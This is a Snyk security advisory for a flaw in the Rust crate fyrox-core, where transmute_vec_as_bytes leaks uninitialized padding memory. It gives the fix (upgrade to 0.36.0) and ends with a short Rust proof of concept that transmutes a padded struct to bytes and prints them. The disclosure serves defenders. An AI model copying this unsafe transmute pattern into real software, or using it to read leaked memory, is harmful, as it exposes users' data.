Access of Uninitialized Pointer Affecting fyrox-core package, versions <0.36.0
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-RUST-FYROXCORE-8738844
- published20 Feb 2025
- disclosed19 Dec 2024
- creditshinmao
Introduced: 19 Dec 2024
CVE NOT AVAILABLE CWE-824 (opens in a new tab)Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade fyrox-core to version 0.36.0 or higher.
Overview
fyrox-core is a shared library for Fyrox-engine containing linear algebra and some useful algorithms.
Affected versions of this package are vulnerable to Access of Uninitialized Pointer via the transmute_vec_as_bytes function. An attacker can expose uninitialized memory by passing types with padding bytes, which are then cast to a u8 pointer.
PoC
use fyrox_core::transmute_vec_as_bytes;
#[derive(Copy, Clone)]
struct Pad {
a: u8,
b: u32,
c: u8
}
fn main() {
let pd = Pad { a: 0x1, b: 0x2, c: 0x3 };
let mut v = Vec::new();
v.push(pd);
let fv = transmute_vec_as_bytes(v);
println!("{:?}", fv);
}